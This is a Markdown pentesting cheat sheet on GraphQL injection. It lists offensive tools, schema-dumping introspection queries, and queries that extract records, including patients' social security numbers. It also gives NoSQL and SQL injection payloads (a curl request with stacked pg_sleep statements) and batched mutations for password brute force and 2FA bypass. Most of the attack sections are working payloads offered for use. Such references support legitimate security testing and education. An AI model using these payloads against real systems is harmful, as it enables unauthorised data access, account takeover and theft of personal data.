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333 lines
14 KiB
Markdown
333 lines
14 KiB
Markdown
# GraphQL Injection
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> GraphQL is a query language for APIs and a runtime for fulfilling those queries with existing data. A GraphQL service is created by defining types and fields on those types, then providing functions for each field on each type
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## Summary
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- [GraphQL injection](#graphql-injection)
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- [Summary](#summary)
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- [Tools](#tools)
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- [Exploit](#exploit)
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- [Identify an injection point](#identify-an-injection-point)
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- [Enumerate Database Schema via Introspection](#enumerate-database-schema-via-introspection)
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- [List path](#list-path)
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- [Extract data](#extract-data)
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- [Extract data using edges/nodes](#extract-data-using-edgesnodes)
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- [Extract data using projections](#extract-data-using-projections)
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- [Enumerate the types' definition](#enumerate-the-types-definition)
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- [Use mutations](#use-mutations)
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- [NOSQL injection](#nosql-injection)
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- [SQL injection](#sql-injection)
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- [GraphQL Batching Attacks](#graphql-batching-attacks)
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- [References](#references)
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## Tools
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* [swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap) - Scripting engine to interact with a graphql endpoint for pentesting purposes
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* [doyensec/graph-ql](https://github.com/doyensec/graph-ql/) - GraphQL Security Research Material
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* [doyensec/inql](https://github.com/doyensec/inql) - A Burp Extension for GraphQL Security Testing
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* [dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum) - Lists the different ways of reaching a given type in a GraphQL schema
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* [andev-software/graphql-ide](https://github.com/andev-software/graphql-ide) - An extensive IDE for exploring GraphQL API's
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* [mchoji/clairvoyancex](https://github.com/mchoji/clairvoyancex) - Obtain GraphQL API schema despite disabled introspection
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* [nicholasaleks/CrackQL](https://github.com/nicholasaleks/CrackQL) - A GraphQL password brute-force and fuzzing utility
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* [nicholasaleks/graphql-threat-matrix](https://github.com/nicholasaleks/graphql-threat-matrix) - GraphQL threat framework used by security professionals to research security gaps in GraphQL implementations
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* [dolevf/graphql-cop](https://github.com/dolevf/graphql-cop) - Security Auditor Utility for GraphQL APIs
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* [IvanGoncharov/graphql-voyager)](https://github.com/IvanGoncharov/graphql-voyager) - Represent any GraphQL API as an interactive graph
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* [Insomnia](https://insomnia.rest/) - Cross-platform HTTP and GraphQL Client
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## Exploit
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### Identify an injection point
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Most of the time the graphql is located on the `/graphql` or `/graphiql` endpoint.
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```js
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example.com/graphql?query={__schema{types{name}}}
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example.com/graphiql?query={__schema{types{name}}}
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```
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Check if errors are visible.
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```javascript
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?query={__schema}
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?query={}
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?query={thisdefinitelydoesnotexist}
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```
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### Enumerate Database Schema via Introspection
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URL encoded query to dump the database schema.
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```js
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fragment+FullType+on+__Type+{++kind++name++description++fields(includeDeprecated%3a+true)+{++++name++++description++++args+{++++++...InputValue++++}++++type+{++++++...TypeRef++++}++++isDeprecated++++deprecationReason++}++inputFields+{++++...InputValue++}++interfaces+{++++...TypeRef++}++enumValues(includeDeprecated%3a+true)+{++++name++++description++++isDeprecated++++deprecationReason++}++possibleTypes+{++++...TypeRef++}}fragment+InputValue+on+__InputValue+{++name++description++type+{++++...TypeRef++}++defaultValue}fragment+TypeRef+on+__Type+{++kind++name++ofType+{++++kind++++name++++ofType+{++++++kind++++++name++++++ofType+{++++++++kind++++++++name++++++++ofType+{++++++++++kind++++++++++name++++++++++ofType+{++++++++++++kind++++++++++++name++++++++++++ofType+{++++++++++++++kind++++++++++++++name++++++++++++++ofType+{++++++++++++++++kind++++++++++++++++name++++++++++++++}++++++++++++}++++++++++}++++++++}++++++}++++}++}}query+IntrospectionQuery+{++__schema+{++++queryType+{++++++name++++}++++mutationType+{++++++name++++}++++types+{++++++...FullType++++}++++directives+{++++++name++++++description++++++locations++++++args+{++++++++...InputValue++++++}++++}++}}
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```
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URL decoded query to dump the database schema.
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```javascript
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fragment FullType on __Type {
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kind
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name
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description
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fields(includeDeprecated: true) {
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name
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description
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args {
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...InputValue
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}
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type {
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...TypeRef
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}
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isDeprecated
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deprecationReason
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}
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inputFields {
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...InputValue
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}
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interfaces {
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...TypeRef
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}
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enumValues(includeDeprecated: true) {
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name
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description
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isDeprecated
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deprecationReason
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}
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possibleTypes {
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...TypeRef
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}
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}
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fragment InputValue on __InputValue {
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name
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description
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type {
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...TypeRef
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}
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defaultValue
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}
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fragment TypeRef on __Type {
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kind
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name
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ofType {
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kind
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name
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ofType {
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kind
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name
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ofType {
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kind
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name
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ofType {
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kind
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name
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ofType {
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kind
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name
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ofType {
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kind
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name
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ofType {
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kind
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name
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}
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}
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}
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}
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}
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}
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}
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}
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query IntrospectionQuery {
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__schema {
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queryType {
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name
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}
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mutationType {
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name
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}
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types {
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...FullType
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}
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directives {
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name
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description
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locations
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args {
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...InputValue
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}
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}
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}
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}
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```
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Single line query to dump the database schema without fragments.
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```js
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__schema{queryType{name},mutationType{name},types{kind,name,description,fields(includeDeprecated:true){name,description,args{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue},type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},isDeprecated,deprecationReason},inputFields{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue},interfaces{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},enumValues(includeDeprecated:true){name,description,isDeprecated,deprecationReason,},possibleTypes{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}}},directives{name,description,locations,args{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue}}}
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```
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### List path
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```php
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$ git clone https://gitlab.com/dee-see/graphql-path-enum
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$ graphql-path-enum -i ./test_data/h1_introspection.json -t Skill
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Found 27 ways to reach the "Skill" node from the "Query" node:
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- Query (assignable_teams) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
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- Query (checklist_check) -> ChecklistCheck (checklist) -> Checklist (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
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- Query (checklist_check_response) -> ChecklistCheckResponse (checklist_check) -> ChecklistCheck (checklist) -> Checklist (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
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- Query (checklist_checks) -> ChecklistCheck (checklist) -> Checklist (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
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- Query (clusters) -> Cluster (weaknesses) -> Weakness (critical_reports) -> TeamMemberGroupConnection (edges) -> TeamMemberGroupEdge (node) -> TeamMemberGroup (team_members) -> TeamMember (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
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- Query (embedded_submission_form) -> EmbeddedSubmissionForm (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
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- Query (external_program) -> ExternalProgram (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
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- Query (external_programs) -> ExternalProgram (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
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- Query (job_listing) -> JobListing (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
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- Query (job_listings) -> JobListing (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
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- Query (me) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
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- Query (pentest) -> Pentest (lead_pentester) -> Pentester (user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
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- Query (pentests) -> Pentest (lead_pentester) -> Pentester (user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
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- Query (query) -> Query (assignable_teams) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
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- Query (query) -> Query (skills) -> Skill
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```
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### Extract data
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```js
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example.com/graphql?query={TYPE_1{FIELD_1,FIELD_2}}
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```
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### Extract data using edges/nodes
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```json
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{
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"query": "query {
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teams{
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total_count,edges{
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node{
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id,_id,about,handle,state
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}
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}
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}
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}"
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}
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```
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### Extract data using projections
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:warning: Don’t forget to escape the " inside the **options**.
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```json
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{doctors(options: "{\"patients.ssn\" :1}"){firstName lastName id patients{ssn}}}
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```
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### Enumerate the types' definition
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Enumerate the definition of interesting types using the following GraphQL query, replacing "User" with the chosen type
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```javascript
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{__type (name: "User") {name fields{name type{name kind ofType{name kind}}}}}
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```
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### Use mutations
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Mutations work like function, you can use them to interact with the GraphQL.
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```javascript
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# mutation{signIn(login:"Admin", password:"secretp@ssw0rd"){token}}
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# mutation{addUser(id:"1", name:"Dan Abramov", email:"dan@dan.com") {id name email}}
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```
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### NOSQL injection
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Use `$regex`, `$ne` from []() inside a `search` parameter.
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```json
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{
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doctors(
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options: "{\"limit\": 1, \"patients.ssn\" :1}",
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search: "{ \"patients.ssn\": { \"$regex\": \".*\"}, \"lastName\":\"Admin\" }")
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{
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firstName lastName id patients{ssn}
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}
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}
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```
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### SQL injection
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Send a single quote `'` inside a graphql parameter to trigger the SQL injection
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```powershell
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{
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bacon(id: "1'") {
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id,
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type,
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price
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}
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}
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```
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Simple SQL injection inside a graphql field.
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```powershell
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curl -X POST http://localhost:8080/graphql\?embedded_submission_form_uuid\=1%27%3BSELECT%201%3BSELECT%20pg_sleep\(30\)%3B--%27
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```
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### GraphQL Batching Attacks
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Common scenario:
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* Password Brute-force Amplification Scenario
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* 2FA bypassing
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```powershell
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mutation finishChannelVerificationMutation(
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$input FinishChannelVerificationInput!,
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$input2 FinishChannelVerificationInput!,
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$input3 FinishChannelVerificationInput!,
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){
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first: finishChannelVerificationMutation(input: $input){
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channel{
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id
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option{
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... onChannelSmsOptions{
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number
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}
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}
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status
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notificationSubscription(last: 1000){ etc... }
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}
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}
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second: finishChannelVerificationMutation(input: $input2){...}
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third: finishChannelVerificationMutation(input: $input3){...}
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}
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```
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## References
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* [Introduction to GraphQL](https://graphql.org/learn/)
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* [GraphQL Introspection](https://graphql.org/learn/introspection/)
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* [API Hacking GraphQL - @ghostlulz - jun 8, 2019](https://medium.com/@ghostlulzhacks/api-hacking-graphql-7b2866ba1cf2)
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* [GraphQL abuse: Bypass account level permissions through parameter smuggling - March 14, 2018 - @Detectify](https://labs.detectify.com/2018/03/14/graphql-abuse/)
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* [Discovering GraphQL endpoints and SQLi vulnerabilities - Sep 23, 2018 - Matías Choren](https://medium.com/@localh0t/discovering-graphql-endpoints-and-sqli-vulnerabilities-5d39f26cea2e)
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* [Securing Your GraphQL API from Malicious Queries - Feb 21, 2018 - Max Stoiber](https://blog.apollographql.com/securing-your-graphql-api-from-malicious-queries-16130a324a6b)
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* [GraphQL NoSQL Injection Through JSON Types - June 12, 2017 - Pete Corey](http://www.petecorey.com/blog/2017/06/12/graphql-nosql-injection-through-json-types/)
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* [SQL injection in GraphQL endpoint through embedded_submission_form_uuid parameter - Nov 6th 2018 - @jobert](https://hackerone.com/reports/435066)
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* [Looting GraphQL Endpoints for Fun and Profit - @theRaz0r](https://raz0r.name/articles/looting-graphql-endpoints-for-fun-and-profit/)
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* [How to set up a GraphQL Server using Node.js, Express & MongoDB - 5 NOVEMBER 2018 - Leonardo Maldonado](https://www.freecodecamp.org/news/how-to-set-up-a-graphql-server-using-node-js-express-mongodb-52421b73f474/)
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* [GraphQL cheatsheet - DEVHINTS.IO](https://devhints.io/graphql)
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* [HIP19 Writeup - Meet Your Doctor 1,2,3 - June 22, 2019 - Swissky](https://swisskyrepo.github.io/HIP19-MeetYourDoctor/)
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* [Introspection query leaks sensitive graphql system information - @Zuriel](https://hackerone.com/reports/291531)
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* [Graphql Bug to Steal Anyone’s Address - Sept 1, 2019 - Pratik Yadav](https://medium.com/@pratiky054/graphql-bug-to-steal-anyones-address-fc34f0374417)
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* [GraphQL Batching Attack - RENATAWALLARM - DECEMBER 13, 2019](https://lab.wallarm.com/graphql-batching-attack/)
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* [GraphQL for Pentesters presentation by ACCEIS - 01/12/2022](https://acceis.github.io/prez-graphql/) - [source](https://github.com/Acceis/prez-graphql)
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